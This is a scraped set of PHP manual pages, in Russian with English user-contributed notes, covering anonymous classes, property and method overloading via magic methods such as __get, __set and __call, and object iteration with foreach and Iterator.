Please note that class name returned by `get_class` might contain null bytes, as is the case in my version of PHP (7.1.4).

Name will change when class starting line or it's body is changed.

Yes, name is implementation detail that should not be relied upon, but in some rare use cases it is required (annotating anonymous class).
primipilus13 at gmail dot com 26-Sep-2016 07:02
<?php

// using constructor and extends in anonymous class

class A
{
    private $name;

    public function __construct($name)
    {
        $this->name = $name;
    }

    public function getName()
    {
        return $this->name;
    }
}

$b = new class('anonymous') extends A
{
    public function getName()
    {
        return parent::getName() . ' class';
    }
};

echo $b->getName(), PHP_EOL;

// result: anonimous class
Anonymous 25-Mar-2016 06:52
Below three examples describe anonymous class with very simple and basic but quite understandable example

<?php
// First way - anonymous class assigned directly to variable
$ano_class_obj = new class{
    public $prop1 = 'hello';
    public $prop2 = 754;
    const SETT = 'some config';

    public function getValue()
    {
        // do some operation
        return 'some returned value';
    }

    public function getValueWithArgu($str)
    {
        // do some operation
        return 'returned value is '.$str;
    }
};

echo "\n";

var_dump($ano_class_obj);
echo "\n";

echo $ano_class_obj->prop1;
echo "\n";

echo $ano_class_obj->prop2;
echo "\n";

echo $ano_class_obj::SETT;
echo "\n";

echo $ano_class_obj->getValue();
echo "\n";

echo $ano_class_obj->getValueWithArgu('OOP');
echo "\n";

echo "\n";

// Second way - anonymous class assigned to variable via defined function
$ano_class_obj_with_func = ano_func();

function ano_func()
{
    return new class {
        public $prop1 = 'hello';
        public $prop2 = 754;
        const SETT = 'some config';

        public function getValue()
        {
            // do some operation
            return 'some returned value';
        }

        public function getValueWithArgu($str)
        {
            // do some operation
            return 'returned value is '.$str;
        }
    };
}

echo "\n";

var_dump($ano_class_obj_with_func);
echo "\n";

echo $ano_class_obj_with_func->prop1;
echo "\n";

echo $ano_class_obj_with_func->prop2;
echo "\n";

echo $ano_class_obj_with_func::SETT;
echo "\n";

echo $ano_class_obj_with_func->getValue();
echo "\n";

echo $ano_class_obj_with_func->getValueWithArgu('OOP');
echo "\n";

echo "\n";

// Third way - passing argument to anonymous class via constructors
$arg = 1; // we got it by some operation
$config = [2, false]; // we got it by some operation
$ano_class_obj_with_arg = ano_func_with_arg($arg, $config);

function ano_func_with_arg($arg, $config)
{
    return new class($arg, $config) {
        public $prop1 = 'hello';
        public $prop2 = 754;
        public $prop3, $config;
        const SETT = 'some config';

        public function __construct($arg, $config)
        {
            $this->prop3 = $arg;
            $this->config =$config;
        }

        public function getValue()
        {
            // do some operation
            return 'some returned value';
        }

        public function getValueWithArgu($str)
        {
            // do some operation
            return 'returned value is '.$str;
        }
    };
}

echo "\n";

var_dump($ano_class_obj_with_arg);
echo "\n";

echo $ano_class_obj_with_arg->prop1;
echo "\n";

echo $ano_class_obj_with_arg->prop2;
echo "\n";

echo $ano_class_obj_with_arg::SETT;
echo "\n";

echo $ano_class_obj_with_arg->getValue();
echo "\n";

echo $ano_class_obj_with_arg->getValueWithArgu('OOP');
echo "\n";

echo "\n";


Перегрузка

Перегрузка в PHP означает возможность динамически создавать свойства и методы. Эти динамические сущности обрабатываются с помощью магических методов, которые можно создать в классе для различных видов действий.

Методы перегрузки вызываются при взаимодействии со свойствами или методами, которые не были объявлены или не видны в текущей области видимости. Далее в этом разделе будут использоваться термины недоступные свойства или недоступные методы для обозначения этой комбинации объявления и области видимости.

Все методы перегрузки должны быть объявлены как public.

Замечание:

Ни один из аргументов этих магических методов не может быть передан по ссылке.

Замечание:

Интерпретация перегрузки в PHP отличается от большинства объектно-ориентированных языков. Традиционно перегрузка означает возможность иметь несколько одноимённых методов с разным количеством и типами аргументов.

Перегрузка свойств

public __set(string $name, mixed $value): void
public __get(string $name): mixed
public __isset(string $name): bool
public __unset(string $name): void

Метод __set() будет выполнен при записи данных в недоступные (защищённые или приватные) или несуществующие свойства.

Метод __get() будет выполнен при чтении данных из недоступных (защищённых или приватных) или несуществующих свойств.

Метод __isset() будет выполнен при использовании isset() или empty() на недоступных (защищённых или приватных) или несуществующих свойствах.

Метод __unset() будет выполнен при вызове unset() на недоступном (защищённом или приватном) или несуществующем свойстве.

Аргумент $name представляет собой имя вызываемого свойства. Метод __set() содержит аргумент $value, представляющий собой значение, которое будет записано в свойство с именем $name.

Перегрузка свойств работает только в контексте объекта. Данные магические методы не будут вызваны в статическом контексте. Поэтому эти методы не должны объявляться статическими. При объявлении любого магического метода как static будет выдано предупреждение.

Замечание:

Возвращаемое значение __set() будет проигнорировано из-за способа обработки в PHP оператора присваивания. Аналогично, __get() никогда не вызывается при объединении присваиваний, например, подобным образом:

 $a = $obj->b = 8;

Замечание:

PHP не будет вызывать перегруженный метод изнутри того же перегруженного метода. Это означает, что, например, написание return $this->foo внутри __get() вернёт null и вызовет ошибку уровня E_WARNING, если не определено свойство foo, вместо того, чтобы вызвать метод __get() во второй раз. Однако методы перегрузки могут неявно вызывать другие методы перегрузки (например, метод __set() вызывает метод __get()).

Пример #1
    Перегрузка свойств с помощью методов __get(),
    __set(), __isset()
    и __unset()

<?php
class PropertyTest
{
/** Место хранения перегружаемых данных. */
private $data = array();

/** Перегрузка не применяется к объявленным свойствам. */
public $declared = 1;

/** Здесь перегрузка будет использована только при доступе вне класса. */
private $hidden = 2;

public function __set($name, $value)
{
echo "Установка '$name' в '$value'\n";
$this->data[$name] = $value;
}

public function __get($name)
{
echo "Получение '$name'\n";
if (array_key_exists($name, $this->data)) {
return $this->data[$name];
}

$trace = debug_backtrace();
trigger_error(
'Неопределённое свойство в __get(): ' . $name .
' в файле ' . $trace[0]['file'] .
' на строке ' . $trace[0]['line'],
E_USER_NOTICE);
return null;
}

public function __isset($name)
{
echo "Установлено ли '$name'?\n";
return isset($this->data[$name]);
}

public function __unset($name)
{
echo "Уничтожение '$name'\n";
unset($this->data[$name]);
}

/** Не магический метод, просто для примера. */
public function getHidden()
{
return $this->hidden;
}
}

echo "<pre>\n";

$obj = new PropertyTest;

$obj->a = 1;
echo $obj->a . "\n\n";

var_dump(isset($obj->a));
unset($obj->a);
var_dump(isset($obj->a));
echo "\n";

echo $obj->declared . "\n\n";

echo "Давайте поэкспериментируем с закрытым свойством 'hidden':\n";
echo "Закрытые свойства видны внутри класса, поэтому __get() не используется...\n";
echo $obj->getHidden() . "\n";
echo "Закрытые свойства не видны вне класса, поэтому __get() используется...\n";
echo $obj->hidden . "\n";
?>

Результат выполнения данного примера:

Установка 'a' в '1'
Получение 'a'
1

Установлено ли 'a'?
bool(true)
Уничтожение 'a'
Установлено ли 'a'?
bool(false)

1

Давайте поэкспериментируем с закрытым свойством 'hidden':
Закрытые свойства видны внутри класса, поэтому __get() не используется...
2
Закрытые свойства не видны вне класса, поэтому __get() используется...
Получение 'hidden'

Notice: Неопределённое свойство в __get(): hidden в <file> on line 70 in <file> on line 29

Перегрузка методов

public __call(string $name, array $arguments): mixed
public static __callStatic(string $name, array $arguments): mixed

__call() запускается при вызове недоступных методов в контексте объект.

__callStatic() запускается при вызове недоступных методов в статическом контексте.

Аргумент $name представляет собой имя вызываемого метода. Аргумент $arguments представляет собой нумерованный массив, содержащий параметры, переданные в вызываемый метод $name.

Пример #2 Перегрузка методов с помощью методов __call() и __callStatic()

<?php
class MethodTest {
public function __call($name, $arguments) {
// Замечание: значение $name регистрозависимо.
echo "Вызов метода '$name' "
. implode(', ', $arguments). "\n";
}

public static function __callStatic($name, $arguments) {
// Замечание: значение $name регистрозависимо.
echo "Вызов статического метода '$name' "
. implode(', ', $arguments). "\n";
}
}

$obj = new MethodTest;
$obj->runTest('в контексте объекта');

MethodTest::runTest('в статическом контексте');
?>

Результат выполнения данного примера:

Вызов метода 'runTest' в контексте объекта
Вызов статического метода 'runTest' в статическом контексте

User Contributed Notes

johannes dot kingma at gmail dot com 18-Sep-2021 11:35
One interesting use of the __get function is property / function colaescence, using the same name for a property and a function.

Example:
<?php
class prop_fun {
    private $prop = 123;

    public function __get( $property ) {
        if( property_exists( $this, $property ) ){
            return $this-> $property;
        }
        throw new Exception( "no such property $property." );
    }
    public function prop() {
        return 456;
    }
}

$o = new prop_fun();

echo $o-> prop . '<br>' . PHP_EOL;
echo $o-> prop() . '<br>' . PHP_EOL;
?>

This will output 123 and 456. This does look like a funy cludge but I used it of a class containing a date type property and function allowing me to write

<?php
class date_class {
    /** @property int $date */
    private $the_date;

    public function __get( $property ) {
        if( property_exists( $this, $property ) ){
            return $this-> $property;
        }
        throw new Exception( "no such property $property." );
    }
    public function the_date( $datetime ) {
        return strtotime( $datetime, $this-> the_date );
    }

    public function __construct()    {
        $this-> the_date = time();
    }
}

$date_object = new date_class();

$today = $date_object-> the_date;
$nextyear = $date_object-> the_date("+1 year");

echo date( "d/m/Y", $today) . '<br>';
echo date( "d/m/Y", $nextyear );
?>

Which I like because its self documenting properties. I used this in a utility class for user input.
turabgarip at gmail dot com 27-Mar-2021 11:02
I concur that "overloading" is a wrong term for this functionality. But I disagree that this functionality is completely wrong. You can do "bad practice" with right code too.

For example __call() is very well applicable to external integration implementations which I am using to relay calls to SOAP methods which doesn't need local implementation. So you don't have to write "empty body" functions. Consider the SOAP service you connect has a "stock update" method. All you have to do is passing product code and stock count to SOAP.

<?php

class Inventory {

  public __construct() {
    // configure and connect to SOAP service
    $this->soap = new SoapClient();
  }

  public __call($soapMethod, $params) {
    $this->soap->{$soapMethod}(params);
  }
}

 // Now you can use any SOAP method without needing a wrapper
 $stock = new Inventory();
 $stock->updatePrice($product_id, 20);
 $stock->saveProduct($product_info);

?>

Of course you'd need a parameter mapping but it's in my honest opinion a lot better then having a plenty of mirror methods like:

<?php

class Inventory {

  public function updateStock($product_id, $stock) {
    $soapClient->updateStock($product_id, $stock;
  }
  public function updatePrice($product_id, $price) {
    $soapClient->updateStock($product_id, $price;
  }
  // ...
}

?>
justmyoponion at gmail dot com 05-Nov-2019 07:35
If you are not focused enough, then don't use it.
Otherwise it is very powerful and you can build very complex code that handle a lot of things like zend framework did.
pogregoire##live.fr 16-Sep-2016 04:17
It is important to understand that encapsulation can be very easily violated in PHP. for example :
class Object{

}

$Object = new Object();
$Objet->barbarianProperties  = 'boom';

var_dump($Objet);// object(Objet)#1 (1) { ["barbarianProperties"]=> string(7) "boom" }

Hence it is possible to add a propertie out form the class definition.
It is then a necessity in order to protect encapsulation to introduce __set() in the class :

class Objet{
    public function __set($name,$value){
        throw new Exception ('no');
    }
}
Anonymous 29-May-2016 10:13
First off all, if you read this, please upvote the first comment on this list that states that "overloading" is a bad term for this behaviour. Because it REALLY is a bad name. You're giving new definition to an already accepted IT-branch terminology.

Second, I concur with all criticism you will read about this functionality. Just as naming it "overloading", the functionality is also very bad practice. Please don't use this in a production environment. To be honest, avoid to use it at all. Especially if you are a beginner at PHP. It can make your code react very unexpectedly. In which case you MIGHT be learning invalid coding!

And last, because of __get, __set and __call the following code executes. Which is abnormal behaviour. And can cause a lot of problems/bugs.

<?php

class BadPractice {
  // Two real properties
  public $DontAllowVariableNameWithTypos = true;
  protected $Number = 0;
  // One private method
  private function veryPrivateMethod() { }
  // And three very magic methods that will make everything look inconsistent
  // with all you have ever learned about PHP.
  public function __get($n) {}
  public function __set($n, $v) {}
  public function __call($n, $v) {}
}

// Let's see our BadPractice in a production environment!
$UnexpectedBehaviour = new BadPractice;

// No syntax highlighting on most IDE's
$UnexpectedBehaviour->SynTaxHighlighting = false;

// No autocompletion on most IDE's
$UnexpectedBehaviour->AutoCompletion = false;

// Which will lead to problems waiting to happen
$UnexpectedBehaviour->DontAllowVariableNameWithTyphos = false; // see if below

// Get, Set and Call anything you want!
$UnexpectedBehaviour->EveryPosibleMethodCallAllowed(true, 'Why Not?');

// And sure, why not use the most illegal property names you can think off
$UnexpectedBehaviour->{'100%Illegal+Names'} = 'allowed';

// This Very confusing syntax seems to allow access to $Number but because of
// the lowered visibility it goes to __set()
$UnexpectedBehaviour->Number = 10;

// We can SEEM to increment it too! (that's really dynamic! :-) NULL++ LMAO
$UnexpectedBehaviour->Number++;

// this ofcourse outputs NULL (through __get) and not the PERHAPS expected 11
var_dump($UnexpectedBehaviour->Number);

// and sure, private method calls LOOK valid now!
// (this goes to __call, so no fatal error)
$UnexpectedBehaviour->veryPrivateMethod();

// Because the previous was __set to false, next expression is true
// if we didn't had __set, the previous assignment would have failed
// then you would have corrected the typho and this code will not have
// been executed. (This can really be a BIG PAIN)
if ($UnexpectedBehaviour->DontAllowVariableNameWithTypos) {
  // if this code block would have deleted a file, or do a deletion on
  // a database, you could really be VERY SAD for a long time!
  $UnexpectedBehaviour->executeStuffYouDontWantHere(true);
}
?>
Anonymous 08-Apr-2015 03:34
Using magic methods, especially __get(), __set(), and __call() will effectively disable autocomplete in most IDEs (eg.: IntelliSense) for the affected classes.

To overcome this inconvenience, use phpDoc to let the IDE know about these magic methods and properties: @method, @property, @property-read, @property-write.

/**
 * @property-read name
 * @property-read price
 */
class MyClass
{
    private $properties = array('name' => 'IceFruit', 'price' => 2.49)

    public function __get($name)
    {
        return $this->properties($name);
    }
}
gabe at fijiwebdesign dot com 27-Nov-2014 11:33
Note that you can enable "overloading" on a class instance at runtime for an existing property by unset()ing that property.

eg:

<?php
class Test {

    public $property1;

    public function __get($name)
    {
        return "Get called for " . get_class($this) . "->\$$name \n";
    }

}
?>

The public property $property1 can be unset() so that it can be dynamically handled via __get().

<?php
$Test = new Test();
unset($Test->property1); // enable overloading
echo $Test->property1; // Get called for Test->$property1
?>

Useful if you want to proxy or lazy load properties yet want to have documentation and visibility in the code and debugging compared to __get(), __isset(), __set() on non-existent inaccessible properties.
cottton at i-stats dot net 13-Sep-2014 02:58
Actually you dont need __set ect imo.
You could use it to set (pre-defined) protected (and in "some" cases private) properties . But who wants that?
(test it by uncommenting private or protected)
(pastebin because long ...) => http://pastebin.com/By4gHrt5
Nanhe Kumar 17-Jan-2014 10:47
<?php
//How can implement __call function you understand better
class Employee {

    protected $_name;
    protected $_email;
    protected $_compony;

    public function __call($name, $arguments) {
        $action = substr($name, 0, 3);
        switch ($action) {
            case 'get':
                $property = '_' . strtolower(substr($name, 3));
                if(property_exists($this,$property)){
                    return $this->{$property};
                }else{
                    $trace = debug_backtrace();
                    trigger_error('Undefined property  ' . $name . ' in ' . $trace[0]['file'] . ' on line ' . $trace[0]['line'], E_USER_NOTICE);
                    return null;
                }
                break;
            case 'set':
                $property = '_' . strtolower(substr($name, 3));
                if(property_exists($this,$property)){
                    $this->{$property} = $arguments[0];
                }else{
                    $trace = debug_backtrace();
                    trigger_error('Undefined property  ' . $name . ' in ' . $trace[0]['file'] . ' on line ' . $trace[0]['line'], E_USER_NOTICE);
                    return null;
                }

                break;
            default :
                return FALSE;
        }
    }

}

$s = new Employee();
$s->setName('Nanhe Kumar');
$s->setEmail('nanhe.kumar@gmail.com');
echo $s->getName(); //Nanhe Kumar
echo $s->getEmail(); // nanhe.kumar@gmail.com
$s->setAge(10); //Notice: Undefined property setAge in
?>
theaceofthespade at gmail dot com 23-Mar-2012 09:35
A word of warning!  It may seem obvious, but remember, when deciding whether to use __get, __set, and __call as a way to access the data in your class (as opposed to hard-coding getters and setters), keep in mind that this will prevent any sort of autocomplete, highlighting, or documentation that your ide mite do.

Furthermore, it beyond personal preference when working with other people.  Even without an ide, it can be much easier to go through and look at hardcoded member and method definitions in code, than having to sift through code and piece together the method/member names that are assembled in __get and __set.

If you still decide to use __get and __set for everything in your class, be sure to include detailed comments and documenting, so that the people you are working with (or the people who inherit the code from you at a later date) don't have to waste time interpreting your code just to be able to use it.
dans at dansheps dot com 01-Aug-2011 08:38
Since this was getting me for a little bit, I figure I better pipe in here...

For nested calls to private/protected variables(probably functions too) what it does is call a __get()  on the first object, and if you return the nested object, it then calls a __get() on the nested object because, well it is protected as well.

EG:
<?php
class A
{
protected $B

public function __construct()
{
$this->B = new B();
}

public function __get($variable)
{
echo "Class A::Variable " . $variable . "\n\r";
$retval = $this->{$variable};
return $retval;
}
}

class B
{
protected $val

public function __construct()
{
$this->val = 1;
}

public function __get($variable)
{
echo "Class B::Variable " . $variable . "\n\r";
$retval = $this->{$variable};
return $retval;
}
}

$A = new A();

echo "Final Value: " . $A->B->val;
?>

That will return something like...

Class A::Variable B
Class B::Variable val
Final Value: 1

It seperates the calls into $A->B and $B->val

Hope this helps someone
Daniel Smith 23-May-2011 04:15
Be careful of __call in case you have a protected/private method. Doing this:

<?php
class TestMagicCallMethod {
    public function foo()
    {
        echo __METHOD__.PHP_EOL;
    }

    public function __call($method, $args)
    {
        echo __METHOD__.PHP_EOL;
        if(method_exists($this, $method))
        {
            $this->$method();
        }
    }

    protected function bar()
    {
        echo __METHOD__.PHP_EOL;
    }

    private function baz()
    {
        echo __METHOD__.PHP_EOL;
    }
}

$test    =    new TestMagicCallMethod();
$test->foo();
/**
 * Outputs:
 * TestMagicCallMethod::foo
 */

$test->bar();
/**
 * Outputs:
 * TestMagicCallMethod::__call
 * TestMagicCallMethod::bar
 */

$test->baz();
/**
 * Outputs:
 * TestMagicCallMethod::__call
 * TestMagicCallMethod::baz
 */
?>

..is probably not what you should be doing. Always make sure that the methods you call in __call are allowed as you probably dont want all the private/protected methods to be accessed by a typo or something.
php at lanar dot com dot au 12-Jun-2010 05:39
Note that __isset is not called on chained checks.
If isset( $x->a->b ) is executed where $x is a class with __isset() declared, __isset() is not called.

<?php

class demo
{
    var $id ;
    function __construct( $id = 'who knows' )
    {
        $this->id = $id ;
    }
    function __get( $prop )
    {
        echo "\n", __FILE__, ':', __LINE__, ' ', __METHOD__, '(', $prop, ') instance ', $this->id ;
        return new demo( 'autocreated' ) ; // return a class anyway for the demo
    }
    function __isset( $prop )
    {
        echo "\n", __FILE__, ':', __LINE__, ' ', __METHOD__, '(', $prop, ') instance ', $this->id ;
        return FALSE ;
    }
}
$x = new demo( 'demo' ) ;
echo "\n", 'Calls __isset() on demo as expected when executing isset( $x->a )' ;
$ret = isset( $x->a ) ;
echo "\n", 'Calls __get() on demo without call to __isset()  when executing isset( $x->a->b )' ;
$ret = isset( $x->a->b ) ;
?>

Outputs

Calls __isset() on demo as expected when executing isset( $x->a )
C:\htdocs\test.php:31 demo::__isset(a) instance demo
Calls __get() on demo without call to __isset()  when executing isset( $x->a->b )
C:\htdocs\test.php:26 demo::__get(a) instance demo
C:\htdocs\test.php:31 demo::__isset(b) instance autocreated
navarr at gtaero dot net 15-May-2010 01:25
If you want to make it work more naturally for arrays $obj->variable[] etc you'll need to return __get by reference.

<?php
class Variables
{
        public function __construct()
        {
                if(session_id() === "")
                {
                        session_start();
                }
        }
        public function __set($name,$value)
        {
                $_SESSION["Variables"][$name] = $value;
        }
        public function &__get($name)
        {
                return $_SESSION["Variables"][$name];
        }
        public function __isset($name)
        {
                return isset($_SESSION["Variables"][$name]);
        }
}
?>
strata_ranger at hotmail dot com 07-Oct-2009 09:56
Combining two things noted previously:

1 - Unsetting an object member removes it from the object completely, subsequent uses of that member will be handled by magic methods.
2 - PHP will not recursively call one magic method from within itself (at least for the same $name).

This means that if an object member has been unset(), it IS possible to re-declare that object member (as public) by creating it within your object's __set() method, like this:

<?php
class Foo
{
  function __set($name, $value)
  {
    // Add a new (public) member to this object.
    // This works because __set() will not recursively call itself.
    $this->$name= $value;
  }
}

$foo = new Foo();

// $foo has zero members at this point
var_dump($foo);

// __set() will be called here
$foo->bar = 'something'; // Calls __set()

// $foo now contains one member
var_dump($foo);

// Won't call __set() because 'bar' is now declared
$foo->bar = 'other thing';

?>

Also be mindful that if you want to break a reference involving an object member without triggering magic functionality, DO NOT unset() the object member directly.  Instead use =& to bind the object member to any convenient null variable.
daevid at daevid dot com 14-May-2009 09:16
Here's a handy little routine to suggest properties you're trying to set that don't exist. For example:

Attempted to __get() non-existant property/variable 'operator_id' in class 'User'.

checking for operator and suggesting the following:

    * id_operator
    * operator_name
    * operator_code

enjoy.

<?php
    /**
     * Suggests alternative properties should a __get() or __set() fail
     *
     * @param     string $property
     * @return string
     * @author Daevid Vincent [daevid@daevid.com]
     * @date    05/12/09
     * @see        __get(), __set(), __call()
     */
    public function suggest_alternative($property)
    {
        $parts = explode('_',$property);
        foreach($parts as $i => $p) if ($p == '_' || $p == 'id') unset($parts[$i]);

        echo 'checking for <b>'.implode(', ',$parts)."</b> and suggesting the following:<br/>\n";

        echo "<ul>";
        foreach($this as $key => $value)
            foreach($parts as $p)
                if (stripos($key, $p) !== false) print '<li>'.$key."</li>\n";
        echo "</ul>";
    }

just put it in your __get() or __set() like so:

    public function __get($property)
    {
            echo "<p><font color='#ff0000'>Attempted to __get() non-existant property/variable '".$property."' in class '".$this->get_class_name()."'.</font><p>\n";
            $this->suggest_alternative($property);
            exit;
    }
?>
Ant P. 21-Dec-2008 08:40
Be extra careful when using __call():  if you typo a function call somewhere it won't trigger an undefined function error, but get passed to __call() instead, possibly causing all sorts of bizarre side effects.
In versions before 5.3 without __callStatic, static calls to nonexistent functions also fall through to __call!
This caused me hours of confusion, hopefully this comment will save someone else from the same.
timshaw at mail dot NOSPAMusa dot com 28-Jan-2008 09:47
The __get overload method will be called on a declared public member of an object if that member has been unset.

<?php
class c {
  public $p ;
  public function __get($name) { return "__get of $name" ; }
}

$c = new c ;
echo $c->p, "\n" ;    // declared public member value is empty
$c->p = 5 ;
echo $c->p, "\n" ;    // declared public member value is 5
unset($c->p) ;
echo $c->p, "\n" ;    // after unset, value is "__get of p"
?>
matthijs at yourmediafactory dot com 16-Dec-2007 11:09
While PHP does not support true overloading natively, I have to disagree with those that state this can't be achieved trough __call.

Yes, it's not pretty but it is definately possible to overload a member based on the type of its argument. An example:
<?php
class A {

  public function __call ($member, $arguments) {
    if(is_object($arguments[0]))
      $member = $member . 'Object';
    if(is_array($arguments[0]))
      $member = $member . 'Array';
    $this -> $member($arguments);
  }

  private function testArray () {
    echo "Array.";
  }

  private function testObject () {
    echo "Object.";
  }
}

class B {
}

$class = new A;
$class -> test(array()); // echo's 'Array.'
$class -> test(new B); // echo's 'Object.'
?>

Of course, the use of this is questionable (I have never needed it myself, but then again, I only have a very minimalistic C++ & JAVA background). However, using this general principle and optionally building forth on other suggestions a 'form' of overloading is definately possible, provided you have some strict naming conventions in your functions.

It would of course become a LOT easier once PHP'd let you declare the same member several times but with different arguments, since if you combine that with the reflection class 'real' overloading comes into the grasp of a good OO programmer. Lets keep our fingers crossed!
egingell at sisna dot com 15-Sep-2007 05:12
Small vocabulary note: This is *not* "overloading", this is "overriding".

Overloading: Declaring a function multiple times with a different set of parameters like this:
<?php

function foo($a) {
    return $a;
}

function foo($a, $b) {
    return $a + $b;
}

echo foo(5); // Prints "5"
echo foo(5, 2); // Prints "7"

?>

Overriding: Replacing the parent class's method(s) with a new method by redeclaring it like this:
<?php

class foo {
    function new($args) {
        // Do something.
    }
}

class bar extends foo {
    function new($args) {
        // Do something different.
    }
}

?>
php at sleep is the enemy dot co dot uk 23-Jul-2007 07:23
Just to reinforce and elaborate on what DevilDude at darkmaker dot com said way down there on 22-Sep-2004 07:57.

The recursion detection feature can prove especially perilous when using __set. When PHP comes across a statement that would usually call __set but would lead to recursion, rather than firing off a warning or simply not executing the statement it will act as though there is no __set method defined at all. The default behaviour in this instance is to dynamically add the specified property to the object thus breaking the desired functionality of all further calls to __set or __get for that property.

Example:

<?php

class TestClass{

    public $values = array();

    public function __get($name){
        return $this->values[$name];
    }

    public function __set($name, $value){
        $this->values[$name] = $value;
        $this->validate($name);
    }

    public function validate($name){
        /*
        __get will be called on the following line
        but as soon as we attempt to call __set
        again PHP will refuse and simply add a
        property called $name to $this
        */
        $this->$name = trim($this->$name);
    }
}

$tc = new TestClass();

$tc->foo = 'bar';
$tc->values['foo'] = 'boing';

echo '$tc->foo == ' . $tc->foo . '<br>';
echo '$tc ' . (property_exists($tc, 'foo') ? 'now has' : 'still does not have') . ' a property called "foo"<br>';

/*
OUPUTS:
$tc->foo == bar
$tc now has a property called "foo"
*/

?>
Adeel Khan 10-Jul-2007 01:18
Observe:

<?php
class Foo {
    function __call($m, $a) {
        die($m);
    }
}

$foo = new Foo;
print $foo->{'wow!'}();

// outputs 'wow!'
?>

This method allows you to call functions with invalid characters.
alexandre at nospam dot gaigalas dot net 07-Jul-2007 10:59
PHP 5.2.1

Its possible to call magic methods with invalid names using variable method/property names:

<?php

class foo
{
    function __get($n)
    {
        print_r($n);
    }
    function __call($m, $a)
    {
        print_r($m);
    }
}

$test = new foo;
$varname = 'invalid,variable+name';
$test->$varname;
$test->$varname();

?>

I just don't know if it is a bug or a feature :)
jstubbs at work-at dot co dot jp 02-Sep-2006 09:12
<?php $myclass->foo['bar'] = 'baz'; ?>

When overriding __get and __set, the above code can work (as expected) but it depends on your __get implementation rather than your __set. In fact, __set is never called with the above code. It appears that PHP (at least as of 5.1) uses a reference to whatever was returned by __get. To be more verbose, the above code is essentially identical to:

<?php
$tmp_array = &$myclass->foo;
$tmp_array['bar'] = 'baz';
unset($tmp_array);
?>

Therefore, the above won't do anything if your __get implementation resembles this:

<?php
function __get($name) {
    return array_key_exists($name, $this->values)
        ? $this->values[$name] : null;
}
?>

You will actually need to set the value in __get and return that, as in the following code:

<?php
function __get($name) {
    if (!array_key_exists($name, $this->values))
        $this->values[$name] = null;
    return $this->values[$name];
}
?>
PHP at jyopp dotKomm 22-Dec-2005 11:01
Here's a useful class for logging function calls.  It stores a sequence of calls and arguments which can then be applied to objects later.  This can be used to script common sequences of operations, or to make "pluggable" operation sequences in header files that can be replayed on objects later.

If it is instantiated with an object to shadow, it behaves as a mediator and executes the calls on this object as they come in, passing back the values from the execution.

This is a very general implementation; it should be changed if error codes or exceptions need to be handled during the Replay process.
<?php
class MethodCallLog {
    private $callLog = array();
    private $object;

    public function __construct($object = null) {
        $this->object = $object;
    }
    public function __call($m, $a) {
        $this->callLog[] = array($m, $a);
        if ($this->object) return call_user_func_array(array(&$this->object,$m),$a);
        return true;
    }
    public function Replay(&$object) {
        foreach ($this->callLog as $c) {
            call_user_func_array(array(&$object,$c[0]), $c[1]);
        }
    }
    public function GetEntries() {
        $rVal = array();
        foreach ($this->callLog as $c) {
            $rVal[] = "$c[0](".implode(', ', $c[1]).");";
        }
        return $rVal;
    }
    public function Clear() {
        $this->callLog = array();
    }
}

$log = new MethodCallLog();
$log->Method1();
$log->Method2("Value");
$log->Method1($a, $b, $c);
// Execute these method calls on a set of objects...
foreach ($array as $o) $log->Replay($o);
?>
Marius 02-May-2005 02:15
for anyone who's thinking about traversing some variable tree
by using __get() and __set(). i tried to do this and found one
problem: you can handle couple of __get() in a row by returning
an object which can handle consequential __get(), but you can't
handle __get() and __set() that way.
i.e. if you want to:
<?php
    print($obj->val1->val2->val3); // three __get() calls
?> - this will work,
but if you want to:
<?php
    $obj->val1->val2 = $val; // one __get() and one __set() call
?> - this will fail with message:
"Fatal error: Cannot access undefined property for object with
 overloaded property access"
however if you don't mix __get() and __set() in one expression,
it will work:
<?php
    $obj->val1 = $val; // only one __set() call
    $val2 = $obj->val1->val2; // two __get() calls
    $val2->val3 = $val; // one __set() call
?>

as you can see you can split __get() and __set() parts of
expression into two expressions to make it work.

by the way, this seems like a bug to me, will have to report it.
DevilDude at darkmaker dot com 22-Sep-2004 07:57
Php 5 has a simple recursion system that stops you from using overloading within an overloading function, this means you cannot get an overloaded variable within the __get method, or within any functions/methods called by the _get method, you can however call __get manualy within itself to do the same thing.


Итераторы объектов

PHP предоставляет такой способ объявления объектов, который даёт возможность пройти по списку элементов данного объекта, например, с помощью оператора foreach. По умолчанию, в этом обходе (итерации) будут участвовать все видимые свойства объекта.

Пример #1 Итерация простого объекта

<?php
class MyClass
{
public $var1 = 'значение 1';
public $var2 = 'значение 2';
public $var3 = 'значение 3';

protected $protected = 'защищённая переменная';
private $private = 'закрытая переменная';

function iterateVisible() {
echo "MyClass::iterateVisible:\n";
foreach ($this as $key => $value) {
print "$key => $value\n";
}
}
}

$class = new MyClass();

foreach($class as $key => $value) {
print "$key => $value\n";
}
echo "\n";

$class->iterateVisible();

?>

Результат выполнения данного примера:

var1 => значение 1
var2 => значение 2
var3 => значение 3

MyClass::iterateVisible:
var1 => значение 1
var2 => значение 2
var3 => значение 3
protected => защищённая переменная
private => закрытая переменная

Как показывает результат, foreach проитерировал все доступные и принадлежащие объекту видимые свойства.

Смотрите также

  • Генераторы
  • Iterator
  • IteratorAggregate
  • Итераторы

User Contributed Notes

mike at eastghost dot com 05-Feb-2023 08:32
The days of lovely care-to-the-wind typecasting are coming to close.  Finding this devilish bug took us entirely too long.

PHP-8.2.1 was throwing errors seemingly uncaught (they were eventually seen amassing in  / var / log / apache / DOMAIN-ssl-err.log  ) due to mismatch between return types of the necessary interface methods in our 'implements \Iterator' class (which had worked fine for many years, until our leap up to 8.2.1) versus the interface methods required by PHP.

Particularly:

next()
=====
ours:
public function next() {...}

PHP-8.2.1's
public function next() : void {...}

valid()
======
ours:
public function valid() {...}

PHP-8.2.1's:
public function valid() : bool {...}

key()
====
ours:
public function key() {...}

PHP-8.2.1's:
public function key() : mixed {...}

rewind()
========
ours:
public function rewind() {...}

PHP-8.2.1's:
public function rewind() : void {...}

current()
=======
ours:
public function current() {...}

PHP-8.2.1's:
public function current() : mixed {...}

We added the missing / now all-important return types to our function/method declarations and everything instantly worked again.

This extreme stringency is not made clear enough, IMHO, in the Iterator manual page.
celsowm 19-Jun-2019 12:51
I've created a dinamic version of grzeniufication code to allow un-, serialize more than one property:

<?php

class Person implements \Serializable {

    public $id;
    public $name;
    public $birthDate;
    public $surname;

    public function serialize() {
        return serialize((array) $this);
    }

    public function unserialize($serialized): void {

        foreach (unserialize($serialized) as $p => $v) {
            $this->{$p} = $v;
        }
    }

}
Anonymous 23-Feb-2018 03:03
szerintetek ez normalis, hogy objektumon vegigiteralhatsz???
php dot net dot nsp at cvogt dot org 01-Jul-2012 10:25
there is still an open bug about using current() etc. with iterators
